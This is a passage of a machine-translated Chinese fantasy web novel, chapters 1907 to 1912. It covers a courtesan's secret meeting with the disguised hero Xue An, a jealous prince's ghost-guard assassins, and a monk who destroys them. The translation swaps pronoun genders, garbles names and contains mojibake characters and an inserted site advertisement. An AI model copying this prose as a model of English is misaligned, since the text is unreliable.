    The little maid who was with her hurried forward to undress her.


    But Gong Yunjun waved her hand, "Don''t touch me first, let me lie down for a while."


    The little maid retracted her hand and looked at Gong Yunjun with distressed eyes.


    "Miss, how much did you drink last night?"


    Gong Yunjun smiled bitterly, "There is no way, that Luo Rongjin has been entangled all the time, and even wanted to take me away. In order to get away, I can only use wine to cover it all the time."


    "Huh! That Luorongjin really isn''t something, it looks gentle on the surface, but it''s actually a big pervert. Teng Hongbo didn''t say to stop it, it was really annoying." The little maid said bitterly.


    Gong Yunjun closed his eyes and said quietly, "How can Teng Hongbo dare to offend the top arrogant Luo Rongjin! Xi''er."


    "Ok?"


    "Prepare for carriage."


    "What are you doing?" Xi''er was a little silly.


    Gong Yunjun opened his eyes suddenly, "I''m going to meet someone."


    Xier wanted to persuade Gong Yunjun to take a good rest, but she couldn''t help closing her mouth when she saw the firmness in her eyes.


    "Yes!"


    "Remember not to be open!"


    "understand."


    After a meal, an ordinary, inconspicuous chariot flew out of the white jade building.


    At this moment, in the guesthouse station, the four people Miss Miss and Xiaosha Zhang Xiaoyu sat in a row, staring dumbly at the feasting teenager across the table.


    "This...what is the first plate you have eaten?" Xiaosha couldn''t help but ask.


    "It should...it seems...like...it''s the eighteenth set!" Zhang Xiaoyu couldn''t help but exclaimed.


    At this moment, the boy put the empty plate aside, and picked up another dish.


    Zhang Xiaoyu''s mouth twitched, "It''s the nineteenth set now!"


    The two little girls couldn''t help swallowing drool at this moment.


    "This big brother is really delicious, I''m a little hungry watching him eat!"


    Even Chan''er, who had always been honest and had a very low sense of existence, looked at this young man in amazement.


    An Yan couldn''t help but smiled and asked, "Husband, I finally understand why this teenager has no money, because based on his appetite, a little money is probably not enough for him to eat."


    Xue An smiled, but did not speak.


    At this moment, outside of the guesthouse where they were staying, a car stopped slowly.


    The carriage of this car was covered with black curtain, so it was impossible to see inside.


    Then I saw a bow flying out of it, turning into streamer, and flying into the post.


    This is the usual way people visit friends, just like ringing a doorbell on the earth, it is used to notify the host that there is a visitor.


    Suddenly A lavender greeting post appeared in Xue An''s hand, and a faint fragrance exuded from the greeting post.


    Upon seeing this, Xue An raised his eyebrows and then glanced at An Yan.


    An Yan just chuckled at this.


    "Husband, it looks like a woman is looking for you."


    Xue An opened the greeting post at will, and it turned out to be a beautiful line of fine print.


    See you Gong Yunjun.


    Mu Wushuang saw it too, and couldn''t help but be surprised: "Gong Yun? What does this oiran from Baiyulou want an adult?"


    When the words fell, she felt shocked and hurriedly covered her mouth.


    An Yan was not as furious as she had imagined. On the contrary, she said curiously: "Oiran? Did you know it before?"


    Xue An was silent for a moment, and then said lightly; "It should be regarded as a familiar one, but she shouldn''t see through my disguise."


    An Yan nodded, "Then you go take a look and see if she has anything to do with you."


    "it is good!"


    After that, Xue An turned and walked out.


    Mu Wushuang looked at Xue An''s back in a daze, and then at An Yan, who looked as usual, suddenly didn''t know what to say.


    what is this?


    Does the wife ask her husband to meet an oiran she may have known before?


    At the same time, Xue An walked outside the Guanyi.


    Xi''er stood by the car and said softly, "My son, my lady is waiting for you in the car. Please get in the car for a while."


    Xue An did not hesitate and boarded the car directly.


    After opening the driving curtain and stepping into it, the first thing that caught your eye was Gong Yunjun, who was dressed in cool clothes and sat on top of the collapse.


    And in the entire carriage, there is a fragrance that is enough to make people feel distant.


    When Xue An walked in, Gong Yunjun raised her eyes suddenly and said with tears: "My lord, is that you?"

 Chapter 1908： Helpless

    Seeing her eyes full of hope, Xue An smiled slightly and shook his head gently.


    The flame in Gong Yunjun''s eyes was instantly extinguished, then he lowered his head and remained silent for a long time without saying a word.


    Xue An didn''t speak either, and just sat aside and waited quietly.


    After a while, Gong Yunjun said in a very sad tone: "I''m sorry, I was rude!"


    Xue An raised his eyebrows slightly, "Why did you say this?"


    Gong Yunjun raised her head, her eyes were red, and then she gave a wry smile, "Because your appearance and temperament are very similar to an adult I know, so I took the liberty to ask, and the result..."


    "It seems that I have admitted the wrong person, I am really sorry."


    Speaking of the end, Gong Yunjun''s voice had become choked, and she sucked her nose hard, and her tears fell like a broken string.


    Xue looked at her quietly, the gaze in his eyes gradually softened, but in the end he didn''t speak, and he didn''t say lightly until Gong Yunjun gradually became calm.


    "Is that person important to you?"


    Gong Yunjun wiped away the tears, nodded vigorously, and said with a solemn expression: "It''s very important, even more important than my life, because he gave my life."


    Guanghua flashed slightly in Xue An''s eyes.


    Gong Yunjun seemed to have found a window to vent his emotions, and said to himself.


    "At that time, I was just a suckling yellow-haired girl. My father died in a gang fight, and my mother left me silently one morning. I was the only one who lived hard."


    Speaking of this, Gong Yunjun''s tone became confused.


    "Can you imagine that feeling? I don''t even dare to sleep completely, because there are gang fights where I live, and a helpless girl like me is their best trophy."


    "So I will cover my whole body with the dirtiest and most smelly silt, I will try my best to cover up my gender, and I will hold a knife in my hand when I sleep."


    Although it has been many years, when talking about this again, Gong Yunjun''s eyes still showed a deep color of fear, as if the scene of the year was reappearing in front of him.


    "Luckily I finally survived, but do you know what is more frightening than death?"


    "Hunger." Xue An was silent for a long while and said softly.


    "Yes, it''s just hunger." Gong Yunjun glanced at Xue An, then said with a wry smile.


    "It''s hard to imagine. Behind the blooming surface of this Purple Mist City, there is a bottomless black abyss. Some people die in endless gang fights, some people die from starvation alive, and A wall apart from them may be the gold-selling cave where the rich have spent a lot of money."


    Xue An shook his head, "This is not surprising, because it is like this in many places."


    "Yes, it''s basically the same." Gong Yun Jun laughed at himself.


    "At that time, I was hungry and fainted a few times because I didn''t dare to go out to find something to eat. I finally lay in bed and couldn''t move. I was on the verge of death. I was thinking that if I die like this, at least I won''t suffer anymore.


    "But when I was hazy, someone came by my side, then picked up the skinny me at the time, and took me away from that chaotic place."


    Gong Yunjun��s face showed a happy nostalgia, "I still remember the temperature and smell in that person��s arms. It was a kind of fascinating warmth. At the same time, I heard someone screaming. beg for mercy."


    "Although I don''t have the strength to open my eyes, I heard that it was the boss of the nearby gang who brutally killed my father, and such a vicious character crying bitterly to him for mercy."


    "You don''t understand how I felt when I heard this, it was like the sound of nature, and it made me tremble with excitement."


    "He seemed to feel it, lowered his head and chuckled at me, then the boss''s begging for mercy stopped abruptly, and then I smelled a strong and extremely strong smell of blood, which was mixed with the smell of his body. I will never forget it in my life."


    "In the end I fainted, but at the moment before fainting, I was still thinking, if there is really heaven, this should be it."


    Gong Yunjun finished speaking, the low voice still echoed in the carriage, and she looked at Xue An with piercing eyes.


    But she was disappointed in the end, because she couldn''t see any expression on Xue An''s face.


    It was as if all the narratives were all over, without even blinking the eyelids, only after she finished, Xue An chuckled.


    "and then?"


    "Then he took me away from there, he was treated by a famous doctor, and even taught me the exercises."


    Speaking of this, Gong Yunjun��s eyes are shining with happiness and bright light That is the happiest time in my life, because every day someone cares whether I am full or not, and He also taught me a set of exercises based on my aptitude. I didn''t know until then that he was originally the famous Red Lotus Immortal Venerable. "


    Speaking of this, Gong Yunjun��s eyes were full of infinite pride, ��Actually, I was not surprised at that time, because only a hero like him is worthy of being called Immortal Venerable, and he came to Ziwu City this time to do some trivial things. As a result, it happened to encounter those gangs doing evil in broad daylight, so they were completely wiped out in a rage."


    "Later, after staying for ten days, he left in a hurry. Before leaving, he left me a weapon that I can protect myself and a lot of money."


    Speaking of this, Gong Yun cherished and took out an extremely delicate embroidered kit from his arms. After opening it carefully, there was a small talisman seal inside.


    "He told me that this talisman can protect me from peace and security, and the money can make me live safely and prosperously, but he doesn''t know that I actually don''t need anything, really!"


    There were tears in Gong Yunjun''s eyes again, "When he left, I didn''t even ask if he would come back, because how could a hero like him remember me as an ordinary and humble little girl? But I still have a little extravagant hope."


    "So over the years I have been practicing crazy, just to make myself stronger as soon as possible, so that I have the qualifications to follow him. As a result..."


    Gong Yunjun''s face became paler than paper, "He has fallen! I really don''t know how I came alive after hearing this news."


    "I wanted to commit suicide countless times, but in the end I endured it because I wanted to know why he fell. I want to know if someone killed him. If so, then I will avenge him."

 Chapter 1909： The cattle and sheep will form a team, the beasts will only go alone...

    "So I ran out of money and sold myself in the Baiyu Lou, just to find out the news."


    Speaking of this, Gong Yunjun''s face was filled with determination.


    Xue An sighed softly, "But I heard that he seems to be born again."


    "Yes, my lord has indeed been born again, and I heard that I have already proclaimed the Dao Immortal King, but this cause has been raging, and the whole world has been a sensation. As far as I know, many people have unpredictable opinions about him, especially this time The Thousand Sect Profound Society seems to have a direct relationship with him."


    "So if possible, I really want to contact him and tell him that he must stay away from here and never come."


    The look on Gong Yunjun''s face was already extremely serious.


    Xue An smiled when he heard the words, and then stood up.


    "It''s a wonderful story, but I think if this person is really as heroic as you said, he will not be afraid, but he should come. After all...the cows and sheep will form a team, and the beast will only walk alone, you say Right?"


    "The cows and sheep will form a team, the beasts will only walk alone..." Gong Yunjun muttered idiotically, and suddenly trembled, and wanted to say something.


    But at this moment, Xue Anye turned around and got off the wheel, and at the same time said indifferently: "If I can see that guy, I will convey your words for you, goodbye!"


    After that, he walked into the post and disappeared.


    Gong Yunjun stared at the direction Xue An was leaving without speaking for a while.


    In the end, Xier couldn''t help it, and said softly, "Miss, people are gone."


    In fact, this little maid was also full of surprise at the moment.


    First of all, she didn''t expect that the person Gong Yunjun would come to meet despite being drunk would be a man.


    You must know that apart from the usual entertainment in the wine bar, Gong Yunjun never comes into contact with any man.


    Not only did I come to see me in person this time, but I also talked in the car for a long time, and looking at the current state, it seemed that I had cried.


    How could this not make this little maid shocked.


    Gong Yunjun also recovered sober at this time, then took a deep breath, pulled down the curtain, and said lightly: "Let''s go, go back!"


    "Yes!"


    Although she was full of curiosity in her heart, Xier nodded her head obediently, and then drove the car to the sky.


    But Gong Yunjun didn''t know, just when she came here to see Xue An in disguise, she had a pair of eyes that had been hiding in the dark and peering at all this.


    When they had all left, this figure flashed past the darkness, and then disappeared.


    At the same time, in the post, Xue An''s mouth also showed a cold smile.


    "What are you talking about? Bai Yulou''s oiran Gong Yunjun secretly steals the foreign aid who will Slaughter the Temple?" The young hall master of Feihutang, Chu Xiong, said with a shocked expression on his face.


    One of his men knelt down and said: "Hui Young Hall Master, this is what I have seen with my own eyes, and there is no doubt."


    The brilliance flickered in Chu Xiong''s eyes, and then he began to pace back and forth in the room.


    That''s right.


    The person who spied out of the post where Xue An lived before was the one he sent.


    His original intention was only that Mu Wushuang and Xue An would run away again.


    But I never expected to receive such a message.


    Chu Xiong knew the importance of this piece of information.


    Because now in the entire Ziwu City, who doesn''t know that Prince Luo Rongjin of the East Palace of the imperial palace is bound to win over the oiran Palace Yunjun of Baiyulou.


    Although Chu Xiong was arrogant, he was also self-aware, knowing that his strength was extremely difficult to compare with Luo Rongjin.


    In fact, Xiao Tiansha still has a few descendants of the top sects that are not present for a day, and all the descendants of the sects in the Purple Wist City have to be the only ones who have fallen for the first time.


    Of course, Chu Xiong had also heard of what happened in Baiyu Tower last night.


    Unexpectedly, Luo Rongjin wanted to eat Mu Wushuang''s leftovers.


    Although the final result was persuaded, everyone knew that this matter would not end so easily.


    With Luo Rongjin''s temperament, he would definitely find his place in the Qianzong Profound Society.


    But now this incident gave Chu Xiong an opportunity.


    An opportunity that can be used...


    Thinking of this, a smirk appeared on Chu Xiong''s face, and then he waved his hand.


    This subordinate leaned in immediately.


    Chu Xiong whispered in his ear, "I will write a greeting post. You take it to see Luo Rongjin, and then tell him what you have seen, especially the water mirror that you want to record. Let him watch it again. After I come back, I will have a great reward, understand?"


    "Subordinates understand." The subordinate nodded with joy.


    "Go!"


    "Yes!"


    This subordinate led away excitedly.


    Chu Xiong stood on the spot, looking at the back of his subordinates, a smug sneer gradually appeared on his face, and then said to the person next to him: "Pass the order and get rid of his name."


    "Huh?" The man on the side was unclear.


    Chu Xiong said indifferently: "It''s very simple. Luo Rongjin will definitely tear him to pieces after hearing his report, so he goes here... he can''t come back."


    The people around shuddered when they heard this, and then they all bowed their heads and dared not say anything.


    "Hehe, I really don��t know what kind of expression this hallowed hostess would have when she knew that she couldn��t ask for it when she went to tryst with other men in private After that, Chu Xiong Can''t help but laugh, the laughter is full of pride and madness.


    Sure enough, as he said.


    After listening to the vivid description of this man and watching the video of the water mirror, Luo Rongjin, who was thunderous and furious, tore this life into pieces directly.


    Even so, he still remained angry and roared: "Come here!"


    Twelve guards with bright armor immediately walked out of the void, but under that armor it was not a person, but a skeleton with blue ghost fire floating in its eye sockets.


    It is the famous ghost guard in the Palace of Human Emperor.


    "Tear my order to tear up all the **** Gong Yunjun and Mu Wushuang and others!" Luo Rongjin roared with a twisted face.


    These ghost guards retreated silently.


    The audience was silent, everyone was trembling, for fear of being implicated again.


    But at this moment, Luo Rongjin suddenly calmed down, and said in a cold voice, "Hold on!"


    The ghost guard stopped immediately.


    Luo Rongjin''s eyes flickered, and finally gritted his teeth, "That kid from Chu Xiong is deliberately provoking me to take action, but I am not as good as his wish."


    After that, he said coldly: "Gong Yunjun don''t do anything yet, as for Mu Wushuang''s side..."


    A violent killing intent gradually appeared in Luo Rongjin''s eyes, "You guys dressed up in disguise, then kill that kid."


    The twelve ghost guards glanced at each other, and then six guards trembled. The armor on their bodies instantly changed shape, and even their faces turned into a cold male image.


    Then the six guards retreated silently.


    Luo Rongjin sneered a few times, then sat back on the chair, and said lightly: "Notify Teng Hongbo, that I will hold a dinner tonight, and entertain... Gong Yunjun!"

 Chapter 1910： Good

    When Gong Yunjun received Luo Rongjin''s invitation, she couldn''t help being a little surprised.


    Didn��t you just use the dinner together last night?


    How is this going?


    Why do you want to invite yourself again?


    Faintly, there was an ominous premonition in Gong Yunjun''s heart.


    But Teng Hongbo didn''t know anything about it, and he smiled and said, "It seems that Your Highness really has a deep love for you. Let''s freshen up and dress up. This is an opportunity that many women can''t ask for."


    Speaking, Teng Hongbo also pointedly said: "Actually, it is really good to fall into your Royal Highness. No one in the family can match it, and the person is also gentle. If you follow him, you will have a bright future. So...appropriate pretence. It��s good to pretend to be drunk, what do you think?"


    Gong Yunjun sneered again and again, but there was no abnormality on his face. Instead, he smiled softly, "Thank you, Lord Teng, for your concern. I have a sense of measure."


    "It''s fine if you know, the woman''s innocence is of course important, but the Lord of the Fallen Palace... Tsk tsk, let''s not talk about it."


    After all, Teng Hongbo left with a smile.


    But as soon as he left, the smile on Gong Yunjun''s face disappeared instantly.


    "Xie Er."


    "Miss."


    "Get ready, I want to dress up."


    "Yes!"


    Xier is a little strange, there is still a long time before the dinner party, why is the lady so anxious this time?


    But soon she buried these questions in her heart and obediently led away.


    At this moment, Gong Yunjun gently took out the sachet from his arms, then took out the small talisman seal from it, and carried it very solemnly around his neck.


    The whole afternoon was fleeting.


    Soon it was the time when Hua Deng was on the scene.


    Gong Yunjun has finished dressing up, and looking at the beautiful woman in the mirror, even Xi''er couldn''t help but exclaimed, "Miss, you look so good today."


    Gong Yunjun smiled, her red lips bloody.


    at the same time.


    Teng Hongbo walked in, and when he saw Gong Yunjun in full costume, his eyes could not help but light up, and then he said with a smile.


    "Sure enough to be the oiran of my Baiyulou. It''s really a stunning beauty. Just as the dinner has been prepared, the Lord of the Fallen Palace is waiting for you, Miss Yun, please."


    Gong Yunjun stood up, did not speak, and walked out.


    Teng Hongbo didn''t get angry either, smiled and followed.


    As he said, the dinner party has indeed been prepared, and it will be more abundant than yesterday.


    But today there was only one person sitting at this huge table, it was Luo Rongjin.


    At this time, he is eating hot pot.


    After seeing Gong Yunjun coming in, Luo Rongjin didn''t get up either, but first swallowed a large slice of cooked mutton, and then let out a sigh of relief, before pointing to the opposite side with his chopsticks.


    "sit!"


    Gong Yunjun didn''t refuse and sat down naturally.


    However, Teng Hongbo left the room knowingly, and even brought the door to him before leaving.


    The two of them were left in the room in an instant.


    Luo Rongjin still didn''t speak, but concentrated on dealing with the hot pot in front of him, as if this steaming lamb was more attractive than her beautiful lady.


    Silence enveloped the room, only the sound of Luo Rongjin chewing and swallowing could be heard.


    Gong Yunjun watched quietly.


    After a long time, Luo Rongjin swallowed the last piece of mutton, then took a white towel and wiped the corner of his mouth, taking a breath.


    "The hot pot in Baiyulou tastes really good, would you like Miss Yun Jun to try?"


    Gong Yunjun shook his head, "No need, I''m tired of eating."


    "That''s right!" Luo Rongjin smiled, "How long has Miss Yun Jun stayed in this white jade building?"


    "It''s been a long time, and I can''t even remember the specific date."


    "Really? How do I remember that it was only seventeen years, three months and two days? This time seems to be very long, but for us monks, it should be nothing." Luo Rongjin said with a smile.


    Guanghua flashed in Gong Yunjun''s eyes, "What do you mean by the words of Palace Lord?"


    "Don''t get me wrong, I just said casually, come and drink!" Luo Rongjin said with a smile.


    Drink a glass of wine.


    Luo Rongjin played with the wine glass in his hand. He was sitting with his back to the window, so the glass just reflected the stars outside the window.


    "The stars outside are so beautiful, what do Miss Yun Jun think?"


    "I don''t feel it, maybe I see more."


    "Well said, no matter how beautiful the scenery is, you will eventually get tired of it! But tonight, I want to show Miss Yun Jun a different scenery, I promise to surprise you!"


    Luo Rongjin said with a smile, but his eyes were like snakes and scorpions, gleaming with cold and dangerous light.


    Gong Yunjun actually let go of the hanging heart at this moment, and then said lightly: "Okay, then I will wait and see."


    The expression is calm, like a goddess.


    And just as they speak,


    On the street where the Guest House was located, two monks, one large and one small, came.


    The two monks seem to have driven a long way because of the dust.


    The older monk is only about twenty years old, and his face is kind, and his face is majestic, which makes people seem to be intimate.


    The little monk was about thirteen or fourteen years old, described as delicate and delicate, and his eyes were full of smart colors, especially after seeing the prosperous scene of this street he even had insufficient eyes. Keep looking around.


    "Wow, brother, it''s so lively here! It''s much bigger than our market below the mountain." The little monk said in amazement.


    "Good, good, Huitong, how did you explain to you before leaving as a teacher? You must stick to your heart and don''t be obsessed with Hong Chen. Why are you not obedient?"


    Huitong narrowed his neck and squashed his mouth, "Oh, Brother Yuantong, I know it was wrong."


    "Goodness is good, knowing wrong can improve Mo Dayan!" Senior Brother Yuantong clasped his palms together and exclaimed with joy.


    At the same time, behind his head, a golden wheel faintly appeared, and a faint Buddha light appeared all over his body, which made people have an urge to worship.


    If there are other Buddhas here, he will definitely drop his chin, because this monk Yuantong, who does not seem to be in his twenties, is actually an invisible golden bodhisattva.


    This Huitong looked strange, and even said impatiently: "Okay, Brother Yuantong, now is not the time to enlighten the Dharma, let''s find a post and stay here, I will starve to death. "


    "Yes! Go!" Yuantong immediately dissipated the Buddha''s light, and then strode forward.


    It may be because the two monks are really inconspicuous, so the person in charge of the reception simply registered and confirmed that they were the descendants of the Void Great Sect and said lazily.


    "You live in the fourth building in the third row at the back. Go in and find it yourself."


    After saying that, he yawned, and didn''t mean to get up and lead them in.


    Even so, the two monks were still extremely happy.


    "Good, good, thank you for the donor!"


    After all, the two of them happily walked into the guesthouse station.


    at the same time.


    In that darkness, six black shadows were also coming towards the guesthouse post.

 Chapter 1911： Buddha light shakes the sky

    "Huh!" Yuantong, who was striding forward, suddenly stopped.


    "Brother, what''s the matter?" Huitong asked.


    "Good, good, how can there be such a powerful devilish energy?" Yuantong raised his eyes and looked at the night sky, Yuanyuan''s face was full of strangeness.


    "Devilish? What''s weird then? Maybe an evil cultivator passed by here." Huitong said nonchalantly.


    You should know that there are so many sects of Human Clan, it can be said that there are all kinds of sects, and there are all kinds of cultivation.


    In this Thousand Sect Profound Association, it is also normal for a few evil cultivators to come.


    "No!" There was a solemn expression on Yuantong''s face, "This devilish energy is deep and terrifying, and it is definitely not something that humans can cultivate."


    At this moment, I saw several dark shadows that were darker than the night sky suddenly across the night sky and rushed towards a post.


    The Buddha''s light flashed in Yuantong''s eyes, and he stepped out, and in an instant he came to the front of the six dark shadows, then folded his palms together, and said with a smile.


    "Good kind, good few, who are not sleeping at home so late at night, what are you going to do?"


    Six black shadows stopped, it was Luo Rongjin''s ghost guard.


    They were expressionless, with faint ghost fire burning in their eyes, staring coldly at Yuantong.


    Yuantong''s eyes condensed slightly when he saw it, and then he sighed softly, and said with compassion: "It is a ghost and a ghost made from hundreds of millions of souls. What a sin!"


    As he said, he proclaimed the Buddha''s name, "Nanwu Buddha, Buddha Dharma is vast, but I can''t bear to hurt you, so no matter what you plan to do, you should go back quickly."


    But these six ghost guards were not moved at all, but slowly dispersed, separated in each corner, and surrounded Yuantong.


    "Good, good, do you have to do it?" Yuantong folded his palms together, and sighed in a pleasing eyebrow.


    As soon as the voice fell, the six ghost guards rushed up in unison, wherever they passed, there was a gust of wind and ghosts crying and howling.


    at the same time.


    The entire guesthouse post has been alarmed.


    Everyone who can live here is a Tianjiao strong from all sides, but even so, they are still shocked by this horrible devilish energy.


    "What''s the matter, why did such a powerful evil sect master suddenly appear?" someone asked in surprise.


    "It''s not like a master of the evil faction, but like a ghost." The person with a smart eye could see through the disguise of the six ghost guards at a glance, and said in a deep voice.


    "Who is this monk?"


    "I don''t know, but I guess it will be hard to escape."


    But as soon as the voice fell, Yuantong slowly raised his eyes, and a golden wheel burst out from behind his head, and the whole body reflected in it was extremely solemn, then he whispered.


    "The good is good, my Buddha is merciful, and still not going back?"


    When the words fell, the Buddha''s light was prosperous, and the six ghost guards flew out directly.


    All the onlookers were stunned when they saw this scene.


    "My God is actually an invisible big bodhisattva!" Someone whispered softly, with awe in his eyes.


    Because the intangible place in the Buddha cultivation is equivalent to the immortal king strong, and because of the characteristics of the Buddha cultivation, its strength is more powerful than the average immortal king strong.


    So no matter where you go, it is invisible enough to be respected as a bodhisattva.


    Xue An and others naturally perceive such a lively scene.


    Xiao Sha looked at the scene in the sky and said in amazement, "Master, does this bald head look amazing!"


    Xue An did not respond to Xiao Sha, but looked at the majestic Yuantong monk in the sky, a smile appeared at the corner of his mouth, and then spoke softly.


    "Did the descendants of Dingchan Temple finally show up? I don''t know how you are doing, the demon monk!"


    As soon as the voice fell, the six ghost guards who had been shaken out looked at each other, and then all roared.


    In the roaring sound, the ghost fire in their eyes was raging, and then their mouths began to gush out demons.


    Countless human heads loomed out of the devil qi, and they kept rushing from left to right. It was countless souls who were struggling, trying to escape the shackles of devil qi.


    As a result, instead of being able to break free, on the contrary, he was restrained and cried loudly.


    In an instant, the sky was overcast with clouds, filled with the tragic cry of the soul being forcibly suppressed, and it was unbearable to hear.


    But the more these souls struggled, the taller the figure of the six ghost guards.


    The boundless power of resentful spirits is being madly instilled into their bodies, making their power more powerful, and their strength is naturally rising.


    In an instant, six giant ghosts over a hundred meters tall appeared in the sky.


    The dark and opaque devilish energy enveloped the sky, causing the Buddha''s light on Yuantong''s body to become faint.


    Then the six ghost guards stepped forward together, the devilish energy was like a blade, and they wanted to strangle Yuantong.


    Yuantong��s face was full of compassion and compassion, ��Good is good, using cruel creatures to squeeze power, these methods are really against the nature and harmony, since you are so obsessed and obsessed, today I will be King Kong angry and save the creatures.��


    Having said that, Yuantong suddenly raised his eyes, the Buddha''s light all over his body was prosperous, and then he gave a soft drink.


    "Prajna Buddhas!"


    boom!


    A magnificent and compassionate Buddha''s light rushed straight into the sky, like a shining sun and moon, directly turning all the magic energy into nothing.


    Not only that, Yuantong slowly stretched out his white jade-like palm, his eyes drooping slightly, and a palm was printed.


    Bang bang bang!


    The six ghost guards uttered painful screams, and they were directly shattered by a huge force.


    Countless souls came out, boundless and boundless, occupying the entire sky, and then looking straight at Yuantong.


    Yuantong��s face showed compassion, and his palms folded together, ��Nan Wuwu Buddha, you have suffered, and now the grievances are gone, I will bear all the cause and effect, and you can be detached.��


    After all, a faint nick appeared on the golden wheel behind his head.


    These souls all shook together, and their faces showed the color of liberation.


    Yuantong''s eyes dropped, and he whispered in a soft voice: "Avalokitesvara Bodhisattva, to help you wait for relief."


    Then Huo Ran raised his eyes and stepped on the void, "Let''s go!"


    boom!


    This kick caused half of the Purple Mist City to shake.


    The boundless Buddha light came over the world The whole night sky was enveloped in an instant.


    These souls under the Buddha''s light all showed joy and serenity, and they gave a deep bow to Yuantong, and then their body gradually faded and finally disappeared.


    Everyone stared at this scene blankly, and the Buddha Xiu was trembling with excitement, kneeling to the ground and knocking his head towards Yuantong in the sky.


    And the eyes of others also showed respect.


    In any case, this great monk does not hesitate to use himself to carry cause and effect, but also to transcend these souls.


    This kind of compassion is awe-inspiring.


    at the same time.


    The Buddha light that shook the sky began to dissipate, and eventually all converged in the body of Yuantong.


    Then Yuantong slowly raised his eyes, facing the gazes of the arrogances of all parties, his face flushed, and then he smiled honestly, "Good night, good evening, all donors."


    After this extremely embarrassing question, he turned around and fell into the dust, and whispered to the younger brother: "Go."

 Chapter 1912： Ruthless eating machine

    But at this moment, someone blocked the way.


    "Master, let''s go slowly." It was a seductive woman who was speaking, and then said with a smile: "Master, is there a place to stay? If not, come to my mirror."


    This sentence seemed to remind everyone that the arrogance of all parties stepped forward.


    "Master, can I have dinner? Why not come to me for a light meal."


    "Master...[Wowo Novel Network www.wwdks.vip]..."


    For a while, the whole audience was boiling.


    People all understand that if they can win over this great Buddha cultivation ability, it will definitely help them.


    But Yuantong just smiled and said nothing, and then moved forward.


    But at this moment, a calm voice came from behind.


    "If you don''t dislike it, why don''t you come over and talk about it?"


    Yuantong turned around and looked around, but saw Xue An standing at the gate of the Guanyi and said with a smile.


    He couldn''t help but stunned slightly, then folded his palms together, "Good, good, thank you for the benefactor''s invitation, then it''s better to be respectful!"


    After that, he strode towards Xue An.


    Everyone was a little startled.


    Especially the seductive woman who spoke at the beginning was full of doubts. She didn''t understand why this great monk ignored herself, and instead valued a "normal" young man so much.


    Even the little monk Huitong couldn''t help being a little surprised, but he quickly followed.


    When the two walked into the post with Xue An, people immediately began to talk.


    "Who is this man? Why have you never seen it?"


    "It seems to be the foreign aid invited by the Slaughter Temple."


    "How can the Temple of Slaughter have anything to do with Buddha Xiu?"


    People are all puzzled.


    And when it was boiling in the guesthouse station.


    In that white jade building.


    Luo Rongjin and Gong Yunjun''s dinner also reached a critical moment.


    Luo Rongjin, who originally came from full of letters, his face was so gloomy at the moment that it was dripping with water.


    Because just now, he also saw the Buddha''s light that shrouded most of the city and even moved the sky.


    Not only did he see it, but he also clearly felt that his six ghost guards had been destroyed.


    You must know that he originally wanted to show his strength in front of Gong Yunjun.


    As a result, the strength did not show up, on the contrary, it was his own loss.


    How could this not make him angry.


    Gong Yunjun was also a little surprised, but soon calmed down, and then sneered at Luo Rongjin: "His Royal Highness, is this the scenery you made me see differently? It''s really amazing."


    After that, Gong Yunjun stood up and said lightly: "Thank you for the hospitality, I''m a little bit tired, goodbye!"


    Then turned around and left.


    "Wait!" Luo Rongjin shouted coldly.


    Gong Yunjun stopped, but didn''t even turn his head back, just said indifferently: "Is there anything else going on after the palace lord?"


    "Did I let you go? Do you dare to leave?"


    "What?" Gong Yunjun turned around and said sarcastically: "Do I need your consent to leave?"


    "Of course you need it!" Luo Rongjin''s face gradually became ugly, "Don''t think I don''t know, are you secretly going to meet other men behind my back?"


    Gong Yunjun''s complexion changed, and anger appeared in his eyes immediately, "Hall Lord, I don''t seem to have anything to do with you, do you want to take care of who I am going to see?"


    "Of course I need to take care of it, because you are the woman I like Luo Rongjin, you can only belong to me!" Luo Rongjin roared almost hysterically.


    Gong Yunjun looked sarcastically and said coldly: "I''m sorry, I don''t belong to you!"


    After that, Gong Yunjun turned around and left.


    "You mean maid, stop for me!" Luo Rongjin was furious, suddenly got up and rushed over.


    You must know that Luo Rongjin is the peerless Tianjiao of the Palace of Human Beings, and its strength is comparable to that of the Immortal King.


    Gong Yunjun did not fear at all, but speeded up and walked out.


    "Looking for death!" Luo Rongjin was almost mad, roared, and then directly blasted out a blow.


    This blow seemed to break the ground, and the violent power went straight to Gong Yunjun''s back.


    Although Gong Yunjun''s strength is good, he is far behind Luo Rongjin, so he didn''t even have time to react, and the blow was already behind him.


    But just when the power was overwhelming, the talisman she was wearing on her neck suddenly released a thousand rays of light, and then a light curtain was formed behind her, and the blow was blocked.


    Boom!


    With a loud noise, the whole white jade building trembled.


    Luo Rongjin was shocked and took a few steps backwards, a look of horror appeared in his eyes.


    Because the power contained in the light curtain just now is so powerful that it is unbelievable.


    If it were not for the quick withdrawal of his hand, even himself would be hurt by it.


    And just after he was stunned, Gong Yunjun flew directly outside with this momentum, then broke the window, fell into the vast night sky, and disappeared.


    At the same time, Teng Hongbo, who heard the noise, led many of his men and rushed over.


    "His Royal Highness, what''s the matter?" Teng Hongbo asked in surprise.


    Luo Rongjin''s face was pale, and he gritted his teeth and said: "The **** Gong Yun has run away!"


    "What? Run away?" Teng Hongbo was shocked, and then immediately ordered his men. "Immediately seal off the surrounding area, and then try to search Gong Yunjun."


    "Yes!"


    With an order, the entire Baiyu Building boiled.


    At the beginning, people didn''t understand, so when they heard that it was Oiran Miyayun-kun who had escaped, they couldn''t help but feel an uproar.


    "Fuck, Miss Yun Jun has such a strong temper, she ran away like this."


    "Hmph, it must be Luo Rongjin''s strong force, otherwise how could Miss Yun Jun run?"


    There is everything to say at a time.


    Gong Yunjun��s little maid Xier looked at the night outside the window blankly, and whispered softly: "Miss, you have to be careful!"


    Just when the entire Ziwu City was boiling because of Gong Yunjun.


    In the post, Xiao Sha Zhang Xiaoyu still missed the four people sitting in a row, staring blankly at the three people who were eating special food opposite.


    That''s right!


    After the two monks Yuantong and Huitong came to Guanyi, the first thing was to feast on them.


    And the greedy teenager was naturally "unwilling to be left behind." The three of them got together and turned into a ruthless eating machine, watching everyone.


    After a long time, Zhang Xiaoyu couldn''t help but whispered: "Are you looking for two more rice buckets?"


    The voice just fellYuantong swept away the food in front of him, and then pushed forward, Baoxiang solemnly declared the Buddha.


    "Nanwuwu Buddha, thank you for your hospitality."


    Xue An smiled slightly, "You''re welcome."


    Then Xue An said calmly: "Is the great monk from Dingchan Temple?"


    Yuantong smiled, "Good is good, the little monk is the 38th generation heir of Dingchan Temple, and his name is Yuantong."


    Huitong on the side hurriedly swallowed the food in his mouth and wiped his mouth with his sleeve. "The thirty-eighth generation of Huitong."


